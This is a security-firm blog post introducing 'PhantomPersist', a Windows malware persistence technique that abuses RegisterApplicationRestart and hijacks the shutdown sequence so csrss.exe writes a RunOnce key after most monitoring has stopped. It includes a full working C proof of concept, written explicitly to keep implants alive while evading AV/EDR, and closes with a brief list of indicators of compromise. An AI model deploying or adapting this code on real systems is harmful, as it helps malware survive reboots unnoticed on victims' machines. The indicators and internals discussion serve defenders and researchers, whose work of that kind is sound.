👻Phantom Persistence
(PhantomPersist) Written by: Grant Smith (S1n1st3r) - President @ Phantom Security Group
It was a bit disappointing to hear that my submission for a short talk on this technique was declined by DEF CON but that's good news for you all. You get this technique a few weeks ahead of schedule!
We have been providing this technique as an option inside of the EvadeX platform for customers to build-in with their payloads for about 6 months but now it is time to share the fun.
Discovery
This technique was accidently discovered. While doing some light research into how I could implement a customer request, specifically looking for executing their payloads right when a system shuts down, I stumbled across a strange API call in the Microsoft documentation.
The call, RegisterApplicationRestart
, obviously stands out to anyone doing malware development as persisting your implant is something we all want to be able to do the least suspicious way possible.
This API call is commonly used in installers and allows applications to start back up when they fail/crash and can be very useful for gracefully handeling these issues as you can pass arguments to the newly spawned process, such as /you-just-crashed--do-better
.
Quick Background
Now, there are a ton of Windows persistence methods out there that people can choose from, but almost all of them have something in common. And that is writing to a registry key with a process you are hiding inside, or not even hiding (looking at you Sliver and MSF).
Writing to a registry key is something that happens all the time, but certain registers are closely monitored by AV/EDRs, analysts, and threat hunters. Writing to anything from your process should be limited to start with and writing to something like a RunOnce
or Startup
key should be limited even more, or not even done preferably.
Now that we know a little more about OPSEC considerations and persistance methods I can get into what was found.
Back to it
Getting back to this API call, I did some Googling around and found a great blog from Adam (Hexacorn) on how he used this call to create a "lame sandbox evasion". This was a neat trick but not what I was really looking for. Reading over the MS Documentation for the functions one thing seems to be holding this call back from being used as a reliable persistence method:
Note that for an application to be restarted when the update requires a computer restart, the installer must call the ExitWindowsEx function with the EWX_RESTARTAPPS flag set or the InitiateShutdown function with the SHUTDOWN_RESTARTAPPS flag set.
Interesting... So, we just need to make a call with EWX_RESTARTAPPS
or SHUTDOWN_RESTARTAPPS
. Does this happen on normal shutdown/restart events when the user clicks the power button? Unfortunately, no. There is a reason this API call has not been used before for persistence.
Many people I know have actually looked at this call. One, who I told about this method and which function was used, couldn't figure it out, and another one found the call through some vibe coding, but ChatGPT couldn't wrap its tensors around how to use the call to persist fully. I just happened to be very lucky and had just been looking at how to interrupt the shutdown process to get code executed.
This led me to create a plan for how to use RegisterApplicationRestart
to maintain persistence.
Technique Outline
We register the application to restart using the
RegisterApplicationRestart
call.We create a thread and inside:
We create a hidden window using
CreateWindow
and add a custom window procedure by passing a pointer tolpfnWndProc
.This is used because: The DispatchMessage function calls the window procedure of the window that is the target of the message. And this will allow us to catch the
WM_QUERYENDSESSION
that will come in when a shutdown, restart, or logoff is initiated.
We set the shutdown priority for the program to as early as possible using
SetProcessShutdownParameters
.When a message is dispatched, we call our custom WndProc function. If it is a
WM_QUERYENDSESSION
:We block the shutdown with
ShutdownBlockReasonCreate
Abort the shutdown with
AbortSystemShutdown
Enable
SeShutdownPrivilege
Destroy the shutdown block with
ShutdownBlockReasonDestroy
Call
ExitWindowsEx
withEWX_RESTARTAPPS
so that our application will restart when the system boots back up.
We close the handle on the thread as we don't need to wait for it.
This essentially hijacks the shutdown process so that we can shut down the system in any way we want, in this case using ExitWindowsEx
with the EWX_RESTARTAPPS
argument. All this requires is Shutdown Privileges, which come with essentially every process on Windows, so no administrator privileges needed.
Why use this technique?
Good question! First off, this technique is not a 100% guarantee your application will persist. If there is a power outage or the system experiences a hard shutdown your application will not restart. Along with this the application must be running for 60 seconds or longer for it to be registered for restart, to prevent infinite looping. These are the tradeoffs for what I will say next though.
Your application never writes to anything.
Ya, you heard that right. Your application will not write to the registry itself. The kernel instead instructs csrss.exe
to write to it for you, and not right away as well. It writes to this registry so late in the shutdown process that most monitoring processes have exited or are in the process of exiting.
So, this technique requires no writing, no abnormal privileges, and the process creating the persistence is doing a normal action but also so late in the shutdown most things won't see it. See why this is awesome?
Trying it out
Creating a test program, I was able to do the following steps to catch a shutdown/restart event, hijack it, and shutdown using the method of our choosing.
POC
/*
* PhantomPersist by S1n1st3r @ Phantom Security Group
* This code is a proof of concept for a Windows application that persists across reboots, shutdowns, and logoffs.
*
* Disclaimer: This code is intended for educational purposes only. Use it responsibly and ethically.
*/
#include <windows.h>
#include <stdio.h>
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {
switch (message) {
case WM_QUERYENDSESSION:
printf("Shutdown requested. Blocking for now.\n");
ShutdownBlockReasonCreate(hWnd, TEXT("PhantomPersist Shutting down..."));
AbortSystemShutdown(NULL);
// Enable SE_SHUTDOWN_NAME privilege
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
CloseHandle(hToken);
ShutdownBlockReasonDestroy(hWnd);
if (!ExitWindowsEx(EWX_RESTARTAPPS | EWX_FORCE, SHTDN_REASON_MAJOR_OTHER | SHTDN_REASON_MINOR_OTHER)) {
printf("Failed to reboot\n");
}
return TRUE;
case WM_ENDSESSION:
printf("Shutdown completed.\n");
ShutdownBlockReasonDestroy(hWnd);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
DWORD WINAPI MessageLoopThread(void* param) {
// Create a hidden window
TCHAR szWindowClass[] = TEXT("PhantomPersist_MessageWindow");
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = GetModuleHandle(NULL);
wcex.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wcex.lpszMenuName = NULL;
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
if (!RegisterClassEx(&wcex)) {
printf("Failed to register window class.\n");
return 1;
}
HWND hWnd = CreateWindow(szWindowClass, TEXT(""), WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, NULL, NULL, GetModuleHandle(NULL), NULL);
if (!hWnd) {
printf("Failed to create hidden window.\n");
return 1;
}
// Set the process shutdown parameters
if (!SetProcessShutdownParameters(0x4FF, SHUTDOWN_NORETRY)) { // <--- These are reserved for system processes but apparently can be set by any process (https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessshutdownparameters)
if (!SetProcessShutdownParameters(0x400, SHUTDOWN_NORETRY)) {// <---
if (!SetProcessShutdownParameters(0x3FF, SHUTDOWN_NORETRY)) {
printf("Failed to set process shutdown parameters.\n");
return 1;
}
}
}
// Message loop for the hidden window
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
int main()
{
if (FAILED(RegisterApplicationRestart(NULL, 0))) {
printf("Failed to register application restart\n");
return 1;
}
printf("[+] Registered application restart\n");
printf("[+] Sleeping 60 seconds to ensure registration\n");
Sleep(60000);
printf("[+] Starting message loop thread. Go ahead shutdown/restart.\n");
// Start the message loop thread
HANDLE hThread = CreateThread(NULL, 0, MessageLoopThread, NULL, 0, NULL);
if (!hThread) {
printf("Failed to create message loop thread.\n");
return 1;
}
// We don't need to wait for the thread
CloseHandle(hThread);
// Loop forever to keep the main thread alive (You would be executing you payload here)
while (1) {
Sleep(1000);
}
}
Going Deeper
The Windows shutdown process is fairly complex but thanks to some research we can walk through it without getting our hands too dirty.
We are going to skip some of the beginning stages and go to what matters for this blog:
The Win32 API ExitWindowsEx makes an RPC call to CSRSS.EXE. CSRSS synchronously sends a WM_QUERYENDSESSION message to all Windows applications. When an application gets this message it indicates that shutdown can continue and CSRSS then sends the WM_ENDSESSION message. After that the process is terminated. If the application indicates that it cannot be terminated then CSRSS stops processing any further applications and waits for the interactive user to close the application. The ExitWindowsEx call will fail with error ERROR_OPERATION_ABORTED (0x3E3) and the Winlogon flags are reset so that a new shutdown request can be processed.
An application that prevents shutdown from proceeding in this manner can be seen visual since it will be the foreground window on the desktop.
From this we can see how & why our ShutdownBlockReasonCreate
and AbortSystemShutdown
calls work.
So, how does this RegisterApplicationRestart function actually work though, you might wonder?
It is actually pretty simple. To start off with RegisterApplicationRestart has been supported since Windows Vista and Windows Server 2008. When it is called it will copy the command line of the current process into a _WER_PEB_HEADER_BLOCK structure and set a pointer to this object in PEB->WerRegistrationData
. CSRSS reads from this location when executing UserClientShutdown and will also grab the token of the process so that it can impersonate it while creating the RunOnce key value in the registry.
A cool idea from diversenok is to reimplement RegisterApplicationRestart to avoid having to call the function itself, as it would be pretty straightforward to create.
IOCs
Right before the user is logs off, csrss.exe registers a RunOnce entry located at
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\Application Restart #<NUMBER>
which points to the application that will be restarted. - From HexacornEntries typically look like:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\Application Restart #0
WER_PEB_HEADER_BLOCK
being set in the PEB.
Conclusion
I hope you learned one or two new things from this technical blog post. If you haven't already, make sure to check out our site at https://PhantomSec.Tools.
Thank you to diversenok for some additional pushing and insight into the Windows internals of what is happening.
If you have any idea, tips, or thoughts on this technique or anything surrounding it, feel free to reach out and let me know.
Last updated